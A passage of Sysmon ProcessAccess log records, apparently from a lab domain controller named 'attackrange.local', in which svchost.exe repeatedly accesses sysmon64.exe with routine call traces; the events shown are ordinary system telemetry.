11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 